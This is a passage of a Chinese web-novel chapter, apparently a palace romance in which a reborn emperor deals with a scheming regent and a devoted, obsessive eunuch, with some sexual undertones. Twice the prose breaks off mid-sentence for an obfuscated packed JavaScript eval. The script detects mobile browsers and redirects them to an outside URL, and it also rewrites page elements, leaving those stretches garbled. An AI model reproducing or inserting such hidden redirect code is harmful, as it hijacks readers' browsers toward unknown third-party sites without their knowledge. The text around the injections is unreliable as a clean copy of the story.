肩头握着他的大掌垂了下去,距离被拉开,赵熙顺势抬起身子,转眼就看到闻人寂掌中拿着枚玉佩,举至半空晃了晃。 “可是硌着陛下了?”他问。 赵熙视线掠过那枚玉佩,低垂眸子,手指捻动了下,触感似乎不太对。但他也不知为何不对,只是随意地点了点头,“嗯,外面发生何事?” 闻人寂迅速扫了眼他指尖,喉头滑了滑,扬声朝外问了一句。 福泉的声音从外面飘进来,“哎哟,适才一小童从街边跑过,险些就撞上了。”听声音,兰花指应当竖得老高。 赵熙问:“可有受伤?” 福泉忙不迭答道:“幸而马车停得及时,小童只是摔了个屁股墩,并无大碍。”马车现下已恢复平稳,继续往午门进发。 赵熙掀开一点车帘,余晖落了他满脸,勾勒出一层淡淡金边,那双眼底透出几点明灼的光,他朝某个方向唤了声,“暗听。” 少顷,破空声往车后的暗巷中掠去。 被骏马扬蹄吓得跌坐在地的小童傻了好半天才反应过来,顿时哇哇大哭起来。有路人指指点点,正在街边摆摊的母亲远远听见,急急忙忙跑来将小童揽入怀里安抚,听见路人的描述差点魂都飞了。 “还好…还好没有出事,小宝下次不要再乱跑了。”母亲用带着茧子的手摩挲小童面颊,指背轻轻拭掉她颊边的滚烫泪珠,嘴里不停念叨:“没事就好没事就好。” 待到妇人带着孩子离开,准备今日就卖到这里,收拾完东西回去便给孩子做吃的。回家路上,一名身着黑色劲装的男人走来,手中握着一张银票递向妇人,“这是我家主人给你们的。” “补偿?”闻人寂轻声说着,眼睛直勾勾盯向跟前的人。 后者眼中情绪很淡,瞳仁在光线下是浅浅的琥珀色,皮肤更是透了点透明感。他就那么静坐在那里竟似与这个世界隔了一层,让人碰不着抓不住。 饶是这样,闻人寂却清楚,这个人的眼里、心中,还装了芸芸众生,是他从未见过却又渴望的温柔。 闻人寂拢了拢指节,压下心中悸动,忽而又道:“陛下是个好皇帝。” 赵熙放下帘子和他对视一眼,声音不咸不淡,“朕只是做朕该做的事罢了。”唯有他知道,这一刻心脏竟像漏了道缝隙。 ‘好皇帝’,赵熙第一次从别人口中听到这样的评价。 然而上一世他庸庸碌碌,直到死去都未有过什么为国为民的政绩。 “并非如此。” 闻人寂的声音打断了赵熙的思路,他怔了下,抬眼。两人的目光正正对上,闻人寂那双狭长的眸子中此刻满是专注与认真。 他看着他,一字一句,郑重其事地说着。 “在喧之心里,陛下便是最好的陛下。” 也是最好的皇子,闻人寂在心底补充。 从当年至如今,这人一直没有变。 车厢内寂静许久,一道轻哼声响起。 赵熙毫不留情地评价,“油腔滑调。” 随后不等闻人寂开口,他便接着说道:“今日锦衣卫如此大动作,之后的事宜你可随时来玉翔宫寻朕商议。” 这次的舞弊案于上一世是在会试之后方才爆发,也是顾承玄彻底将手伸向六部的开端。如今被提前弹压下来,对赵熙而言无疑是迈进了一大步。 且…… “待明日早朝后,便将那几家抄了,充盈国库。”如此,贡院便可重新修缮一番,赵熙眉眼不自禁流露出一抹浅笑,稍纵即逝。 闻人寂还在为他前面那句可以随时过去找人而感到心跳漏了一拍,下一瞬看见那抹笑,呼吸都禁不住屏了屏。 “都听陛下的。” 赵熙看了看他,虽不知闻人寂心里到底在打什么主意。但既然已走到了这一步,那便姑且再看看。 - 离开闹市后马车的行进速度就快了许多,入宫之后闻人寂没理由再跟着,且他还要处理今日凤仪阁一事。 而赵熙也有同样需要应付的。 他对福泉道:“去乾心殿。” 福泉:“陛下不用回去休息吗?”今日奔波了一天,按理来说应当直接回玉翔宫才对。 “不能让皇叔久等了。”赵熙坐在御撵中,指尖有一下没一下地轻点着扶手,嗓音不急不缓。 “摄政王殿下?” 赵熙不答,福泉虽是不解,却仍是挥了下拂尘,让宫人摆驾乾心殿。 刚到乾心殿,远远便见有侍卫守在那里,他认出来是摄政王府上的人。 赵熙缓缓睁眼。 看见殿内端坐着的高大男人,赵熙上前,面露不解,“皇叔怎么来了?” 顾承玄皱眉,“陛下今日出宫了?” 赵熙不置可否。 顾承玄见他径直朝御座走去,顿了几息,道:“昭昭今日是同闻人寂一道出宫的?” 赵熙回视过去,闻言笑了下,语气轻飘飘的,“皇叔既知道,何必再问?” 顾承玄眉头皱得更深,“当年先帝宠信、” 他话才刚起了个头,赵熙就开了口打断:“皇叔。” 顾承玄话音一止,抬起眼和他四目相对。 赵熙笑容温软,“朕是朕,而非父皇。” 顾承玄盯视他许久,眼前的人好像还是那个样子,但又似乎有哪里不同了。 在他思索的片刻,赵熙走了下来,直接来到他跟前,脸上的笑愈发深了,他道:“皇叔听闻城西那事了吗?” 顾承玄‘嗯’了一声,嗓音粗沉,“这些人胆子大了。” 赵熙深以为然地点头,“所以朕打算明日便将他们发落了,皇叔以为如何?”他这话仿佛在顺着对方说的,眼睛也一瞬不瞬地望过来。 顾承玄看进这双澄澈干净的眼底,似从来没变过,他亦缓和了神色,“是该处置。” 赵熙面上的笑立时多了几分真情实意,那双剔透的眸子里如缀满星河,随着殿中烛火摇曳时闪了闪,愈发犹如星辰闪耀。 顾承玄看得一愣,深锁的眉宇也一并松开。 神使鬼差的,他抬起手,在那笑得格外灿烂的颊侧抚了抚。 “哗——”又一捧水泼在脸上。 赵熙双手狠狠地搓着脸,表情阴恻恻的,微张的唇露出一点尖利的犬齿,像是要吃人。 福泉看得心惊胆战,不明白怎么一从乾心殿回来陛下就让人打水来,接着就是这副场面了。 “陛下、诶,陛下……”福泉轻声劝,“您轻点,轻点哎哟……” 赵熙还在一个劲地搓脸,面颊两侧通红一片亦不罢休,福泉急得团团转。 宫人们俱被遣走,眼下他都想扑过去求陛下别折腾自己了。 又在原地转了两圈,福泉一咬牙,正准备去抱龙大腿。 这时,一道声音拯救了无助的福泉。 “怎么没人伺候?” 福泉转头,第一次觉得九千岁的声音如此悦耳动听。 “九千岁!”他惊喜道,“快拦着陛下吧。” 不知为何,福泉觉得这位动手,比他自己来要好——毕竟若真触怒龙颜,受罚的也不是他。 福泉美滋滋地想着,见九千岁大步而来,连忙极有眼力见地躬身倒退着出了内殿。 闻人寂同他擦肩而过,视线却一如既往地没有落向福泉半分,而是牢牢锁定站在盆架前不断用水拍脸,手指毫不怜惜地揉搓自己面颊的人身上。 即便是听到有人进来的动静,赵熙仍然没有停手,周身甚至隐隐透着股戾气,知晓来人是谁后亦未收敛,反而又添一股暴戾。 “陛下。”闻人寂走近了。 赵熙听而未闻,心底的厌恶感让他有种胃囊翻涌的感觉。 恶心。 顾承玄,该死。 脚步声停在面前,烛火被遮去些许,闻人寂笼着烛光看清了跟前人的模样,对方眼里的凶狠就这么原原本本地暴露出来,被他尽收眼底。 似是被他看得恼火,赵熙表情愈发凶了,“滚。” 然而,那张如玉的面庞早已被擦得绯红一片,本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799366|175053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就纤薄的皮肤,看着甚至隐隐带上了血丝。 闻人寂眉头狠狠一拧,“陛下在做什么?”为何如此不爱惜自己。 赵熙脸上、发梢全是水珠,滴滴答答落了满襟,殿中不断摇曳的烛光似都浸不透那双此刻看起来尤为灰暗的眸子。 很难受。 心脏像是被拧了一下,又似缺了一角。 闻人寂唇动了动。 见他没反应,赵熙压抑着嗓音,再次道:“朕让你滚,” 默了默,闻人寂沉声,“陛下若是想出气,便用咱家来出气吧。” 又一个。 又一个听不懂自己的话,又一个来烦自己的。又一个觊觎他的皇位,觊觎他身边所有的人。 赵熙身上被浸湿,发丝凌乱,眼下一绺一绺地搭在额前、颊侧。比之今日在宫外的时而淡漠疏离、高高在上,时而关心民瘼,体贴入微——让暗卫在妇人远离人群才将银票给出去。 此刻的他像是从尸山血海里爬出来意欲勾魂索命的地狱修罗,通身煞气,眼中似融不进任何事物,睥睨而又漠然。 “你也配?”赵熙近乎无情地开口,上挑的眼尾染着血一样的红,无端透着股邪性。 一介阉人,有什么资格手握如此重权,又有什么资格在他面前指手画脚。在外人眼里万人之上的九千岁,于他而言只是一个妄图以残缺身体登上至高宝座的奸佞。 包括那狼子野心,还故作长辈之姿以为随意逗弄两下就能将他掌控的顾承玄。若是可以,他现在就想让这人下地狱。 “要怎么做。”闻人寂看着这个与往日截然不同的人,平静的心湖犹如石子投入,涟漪圈圈荡开,眸光晦暗一片。 他重复着,“要我怎么做?”怎么做他才能配。 赵熙似是被他惹恼了,前襟被猛地拽住,力道之大让闻人寂先是怔愣,继而便顺从地弯下腰,与那双仿若蒙着一层雾的冰冷眸子对上。 “你以为你是谁?”赵熙胸口起伏,吐出的热息拂在闻人寂脸上,手下毫不容情地在那下巴上掐出道道白色的印记。 被他钳在手里的人半点没有反抗,双手往后撑着盆架,顺着这力道甚至将脖颈微微抬起,如此更方便他拿捏。 赵熙眯眼,凸起的喉结被他覆在掌下,“你想要什么。”没有人会无缘无故去同一个可以完全不用放在眼里的人谄媚讨好,除非对方身上有利可图。 脖子被扼住,呼吸似都有些困难,闻人寂脸上的表情却十分轻松,“咱家想要,陛下就给吗?” 他一字一句说着话,喉结尖锐地拱在赵熙掌心,又被他用力压下,“一人之下、万人之上,还不够吗?”他还有什么可给的。 赵熙低着眼,两人之间的距离,他可以清晰看见闻人寂俊美无俦的面庞。高挺的鼻梁,狭长幽邃的凤目中,此时映着一个他。 水珠顺着他的下巴滴到闻人寂面颊,他略微动了下脖子,水珠便偏移些许距离,最后沿着他的面颊往下。 流经唇畔。 “嘶——”喉间的力道愈发大,闻人寂不由发出一声抽气,额间青筋亦跟着弹了弹,血管清晰可见。 这一下像在催促,又似威胁。 赵熙的眸底发着狠,仿似下一秒是真的能下手拧断他的脖子。 闻人寂喷出一口热息,感觉有些不妙,勉强挤出一句,“够了。” 但这个答案好像没能让掐着他的人满意,赵熙没有松手。 闻人寂看着人,只得在补上一句,声音发哑:“咱家只是,想离陛下近一点。” 再近一点。 这话听着似在哄骗无知小儿,方才发泄这一通,赵熙看着闻人寂被他掐红的脸,散了心中戾气,终是将人松开。 然他这一下太过猝不及防,闻人寂一时不备,靠在盆架上的那只手猛地打翻了水盆。 水哗啦啦撒了一地。 盆架亦仿佛绷到极限的弦,终于不堪重负倒了下去,闻人寂也往后倒去,下意识又望向跟前的人。 就看到赵熙淡定地挑了下眉,似事不关己般无动于衷。 那眼神,似乎在说…… ‘活该’。 7. 第七章 看清他的眼神,闻人寂干脆卸了准备借力的劲,任自己摔到了地上,水盆与□□落地的闷响混合到一起。 外间竖着耳朵的福泉听到动静还当是出了什么事,赶忙推门入殿,刚走出几步他就猛然怔在原地。 透过纱帘的缝隙,内殿的画面落入他眼底,福泉瞳孔扩张了瞬。 只见九千岁整个人伏卧在地,身上被水液浸透,模样好不可怜。这样的形容用在大权在握的九千岁身上本该无论如何都不合适,然而实在是对方跟前的陛下实在太过从容,就那么居高临下地站在倒地的九千岁跟前,二人之间对比鲜明。 偏九千岁还仰起脸,朝跟前的帝王缓缓笑着道了一句:“陛下可满意了?” 福泉:“!!!” 一时之间进也不是退也不是,他正脑中飞速运转着,便见上一秒还冲陛下笑得缱绻的人,下一刻就冷冷朝他睨来。 福泉登时一个激灵,悄然往殿外退走。 左右陛下看起来也不像有事,他去殿外候着不让人进来就行。 福泉进殿的动静不算小,赵熙并未回头,对着地上的人扯了扯唇角,“装够了?” 闻人寂回视,也不指望自己能被拉起,只是缓慢地撑起身。冰凉的水渍穿透衣衫,他不动声色地勾了勾衣袍下摆,若无其事道:“陛下何出此言?” 赵熙视线从他身上寸寸扫过。 轻飘飘的眼神,却让闻人寂有种犹如实质的感受。就好像,他全身上下都被这道目光给抚摸了一遍……闻人寂呼吸一沉,哑声说:“咱家的衣服都湿了。” 明明是带着狼狈的姿态,却丝毫不见慌乱。 赵熙打量了人一遍,视线从对方遮掩的某处掠过,很快又挪开。再开口时,语气也彻底恢复平稳,“这里没衣服让你换。” 言外之意是让人快滚。 闻人寂:“如此走出去,怕是会让人看见……届时宫人们、” 他话还没说完,一块毯子朝他兜头罩了下来。 “滚吧。” 轻淡的声线中暗含疲惫,闻人寂抓住盖在脸上的薄毯,深深嗅闻一口,骨节用力道泛白。 见他脸上的红色淡去了些许,闻人寂喘了下,这才应声:“好。” 闻人寂起身,淅淅沥沥的水滴顺着袍角滑下,每走一步便落下一个脚印。 水珠淌了一地。 待在外头候着的福泉看见浑身湿透的九千岁从里面走出,身前缀着张熟悉的薄毯。他认出那是陛下平日小憩时盖的,此刻被人珍惜地拢在怀里。 闻人寂舔了下唇角,将方才泼在身上的水卷入口里后,他喉结耸动,声线沙哑,“着人进去收拾,轻声些。” 福泉点头,看着人走远。不知为何,他竟从这背影窥出股心满意足的味道。 “打水来,”赵熙立在满室狼藉中,待福泉进来,淡淡道,“朕要沐浴。” “是。” 浴桶中,闻人寂后背抵在木桶边沿,半闭着眸,下一瞬不知是想到什么,他倏然睁开眼,眸底是丝毫不加掩饰的欲气。 一块香色绸绣花方帕被他从水中捞出,水珠沿肌理线条明晰的手臂线条滑下,宽大的掌心除去方帕,似还沾了点□□,星星点点飘荡在桶中。 闻人寂皱眉,小心地将方帕洗净,大步跨出浴桶将之握在手里连同自己用干净的水冲了冲,这才往榻上行去。 丝制薄毯柔软,被静静置于枕边,蕴着股淡淡的芬芳,龙涎香气丝丝入鼻。不多时,薄毯被人扯了过去,紧紧拥到了怀中。 - 一夜无梦,翌日早朝大部分官员都来了。昨日出的那档子事,京中官员基本上已经获悉,家中小辈被锦衣卫缉拿的那几家更是急得成了热锅上的蚂蚁,连夜奔走疏通关系。 然赵熙怎么会给他们喘息的机会,刚入殿便有一言官上前弹劾。 有了乾心殿中那一番交谈,赵熙并未再将话头抛给顾承玄,而是直接问罪。 吏部尚书连降三级,工部侍郎、詹事府少詹事革职查办,涉泄露会题的官员被黜免了一大批,皆要押入大牢候审。年轻的天子首次露出锋芒,不待众人反应,便将先前贡院修缮一事安排妥当。 一切都井井有条,至于空缺的位置,只待下次大朝会安排上。而下一次大朝会,便是殿试之后。 “众爱卿觉得如何?”赵熙眸光透过玉旒平静看向下方,清越的嗓音传遍殿中。 一道悠扬嗓音紧随其后,“陛下英明。” 接着是满朝文武。 赵熙视线落向最先开口的绯袍宦官,后者似有所觉地抬眼,四目对视间,闻人寂抬手抚了抚下巴。 今日起来时他才发现,下巴上竟有一道划痕,是因何落下的不言而喻。 闻人寂的第一反应却是,这划痕若是不愈,一直留在这里便好了。 赵熙眯缝了下眼,继而收回视线,又不期然同正望向上首的顾承玄目光对上。对方正用一种莫名赞赏的眼神望过来,嘴边罕见带上几分笑意,冷峻的面庞似都柔和下来。 昨夜那股胃囊翻涌的感觉再次涌现,赵熙阖了阖眸 “陛下辛苦了。”刚下朝,福泉就挤到赵熙身边,“待殿试过后便可松快松快了。” 赵熙错开他扶过来的手,漫不经心地哼了声,“嗯?” 他还在脑中思考,这一届殿试中入选的那几人有哪些能用,又可调到哪里,期间又如何不动声色地把自己的人安插进来。 “瞧陛下您,又忘了,”福泉‘哎哟’一声,“殿试后要前往西山春蒐呀。”这是每年都有的狩猎活动。 朝临二年春蒐,围场东侧铁栅栏被破坏,闯入了猛虎,一公一母,围场乱作一团。这段记忆悄然浮现赵熙脑海,神色蓦地冰冷下来——上一世那日若他没有中途折返大营,原也是准备前往东区狩猎的。 这其中暗藏的凶险不言自明。 有人想要害他,是谁? 一个毫无实权的傀儡皇帝,害了他又能得些什么好处,谁又会是最终受益者。 赵熙脑海中划过一张张面孔,片刻后心中已是了然。 “春蒐为时尚早,自是国事要紧。”他浅浅回了一句,转道便去了御书房。 赵熙以为这次过去会见到顾承玄,不承想看到的却是另一张脸。他滞了下,欲再转个方向。 “陛下怎来了又走?”闻人寂快步跟上,一袭绯红朝服还未换下。今日日光和煦,他高大的身形把后方光线挡去,又几乎将赵熙笼住。 离得近了,对方适才在金銮殿中抚过的下颌便清晰地暴露在赵熙眼前。昨日的白道道消去,那里多了一条红痕,明晃晃,有些扎眼。 闻人寂循着他的视线,手又抬了抬,指尖轻轻拂在那红色印记上,似有些疼了,‘嘶’地一声。 赵熙唇线抿直。 时刻注意着他表情,闻人寂将手放下,转而道:“今日北镇抚司的诏狱尤为热闹,陛下可要前往一观?” 北镇抚司设在东城,如此,就又要出宫了。赵熙稍作考虑,颔首。 又一次把人拐出宫门,闻人寂这回不等福泉踏上马车就率先将人撵了下去。 “伺候陛下,咱家一人足矣。”说着,他悠悠坐到赵熙身边,非是并排,而是径直靠坐到了他跟前的矮凳上。这样子,就如同伏在赵熙脚边一样。 “朕无需你伺候。”赵熙很想把人一脚踢开。但他还没动作,就觉得有视线落在自己脚尖,分外灼热,很难叫人忽视。 “脏了。”闻人寂盯着他鞋尖上的某处。 上马车时赵熙不慎在车沿磕了一下,黑色的鞋面蹭上了一点灰。他低眼扫了扫,脚尖轻轻晃了下,并不在意。 赵熙正要说无事好叫人别再看下去,然下一秒,小腿不受控制地抬起,被人握在了掌中。闻人寂单手握着人鞋尖,眉目微垂,似对待什么稀世珍宝般捧着。 “你这是作甚?”赵熙抽了抽脚,命令道:“给朕放开。” 闻人寂下意识松了下手,但又很快重新扣紧,“别动。” “放肆。”赵熙呵斥。 闻人寂恍若未闻般径自抬指,旋即才微微仰脸看向俯视着他的帝王,指尖轻拂过那块染灰的地方,动作间虔诚无比,温柔小心。 赵熙看得一愣。 很难得的,他心下居然产生了一丝可以称作羞赧的情绪。即便贵为九五至尊,也不曾有人为他这样做过。 一来,有伤尊严,赵熙不会让人如此。 二来,以他的身份,无人需这般奉承讨好他。 闻人寂…… 究竟想要什么。 “好了。”闻人寂撤开手任那只腿从手中滑走,手指禁不住在袖中不停摩挲,喉头来回滚动着,敛下得眸子里仿似着了火。 少顷,他换了个坐姿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799367|175053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见闻人寂终于远离了一点,赵熙不知不觉松了口气,这才发现自己精神有些莫名的紧绷了。 车厢一时安静下来。 好半晌才听到闻人寂开口:“稍后,我还唤你昭昭吗?” 今日前往北镇抚司后,赵熙欲再去一趟贡院。早朝他已发下圣旨着令修缮贡院,现今应当准备动手了才是,需得赶在后日会试前修缮完,他只过去看一眼即可。 两人皆穿着低调,并未大张旗鼓。 赵熙思忖后点了下头,“可。” 闻人寂便笑着唤他:“昭昭。” 赵熙拧眉,“不是现在。” 闻人寂从善如流地改口:“是,陛下。”一直到从北镇抚司走了一遭出来,他都一直以君臣相称,瞧着老实本分得不行。 及至二人又去了一趟礼部,在外便看见不少工匠出入,赵熙这才放心。 “饿不饿?”闻人寂放下帘子,“东城有个春饺楼,里面的春饺味道鲜美,去尝尝?” 从早朝到现在赵熙只用了几块糕点,眼下听他提起,确实有些饿了,“嗯。” 闻人寂看他垂手摸了摸小腹方才回答,嘴边不自觉挂上一抹笑,扬声吩咐车夫快些。 - 春饺楼开在东城的闹市区,来往行人熙攘,马车停在巷口就不方便再过去了。 赵熙下了马车,闻人寂把人往里带了带,自己则走在靠外的一边,用身体无声地将人潮阻隔,两人相携朝春饺楼行去。 跟在后面的福泉默默在心中盘算着自己这大内第一总管的位置还稳不稳。 总觉得这些事情当由他来做,但现下若真走上前招了九千岁的眼,他这位置怕是应该直接不用坐了。 如此一想,福泉便安安生生跟在两人身后,只是看着他们逐渐相连的衣袂,不禁联想昨日玉翔宫中的那幕。 是不是有哪里不对? “此处市集人多。”闻人寂状似认真地解释一句,说罢,他又走近几分,看着下方相连的衣摆,满意地勾了勾唇。 赵熙并未注意,亦好像没有听见他的话,只因他们刚行出一段距离就有一股极为诱人的食物香气争相往他鼻子里钻。像是酥肉在浓白的汤汁里滚了一圈,又有爆炒过的葱花香气混合着尤其霸道的椒麻味弥漫,光是闻之便口舌生津。 闻人寂说完见人没有回应,侧目就看赵熙正直勾勾盯着前方,眼底不经意流泻的一抹渴望直看得他怔愣出神。 滞了滞,闻人寂再度出声:“就是前面了,我们快些走?” 赵熙这回听见了,转头看他,眸中缀着明亮的日光,“好!” 略微上扬的语调里小雀跃似蹦了出来,闻人寂心头发痒,又问:“我拉着你?” 赵熙还未回应,闻人寂就已迅速伸出手,勾住了他身侧的指尖。 克制着不把手指插入那柔软的指缝间,闻人寂脚下快了点,没给人拒绝的时间,带着人就直奔春饺楼。 雅间内,热气腾腾的春饺上桌,另又摆放数碟麻辣鲜香的调料,精致点心。福泉同侍卫们在另一间房,这里只有二人,闻人寂推了一碗到赵熙面前,提醒道:“小心烫。” 宫中不是没有比这更香的,但兴许是饿了大半日,赵熙吃得无比认真。 鲜美的肉汁在舌尖爆开,伴随着清新的冬笋气息,荠菜混合其中,再裹上一层红油辣椒,入口就是数种滋味蔓延,好不满足。 待蘑菇的鲜甜味道入口,他挑了下眉,原来这一碗春饺中竟每一个味道都是不同的。 “好吃吗?”闻人寂看着他沾上了些许红油的唇瓣。 赵熙咽下口中的春饺,察觉他的目光后用手帕擦了擦嘴,遂矜持地点了下头。末了才吃第二个,这次小心着不让红油沾上唇。 闻人寂只觉眼前一阵晕眩,甚至感到有些匪夷所思,否则怎会用着膳还有火气上涌。 他的小陛下…… 也太可爱了。 两人各自用罢,赵熙只觉味蕾得到了充分满足,他起身往雅间外走去。刚打开一条缝便瞥见两抹熟悉的身影站在走廊上,他下意识又将门合上,往后退了一步。 正亦步亦趋跟在他身后的闻人寂猝不及防,怀中多了道柔软馨香的身体,他顿住。 赵熙同样也是一顿。 再一次,他又感受到上次抵着自己的物什,只不过这次是硌在他的后腰。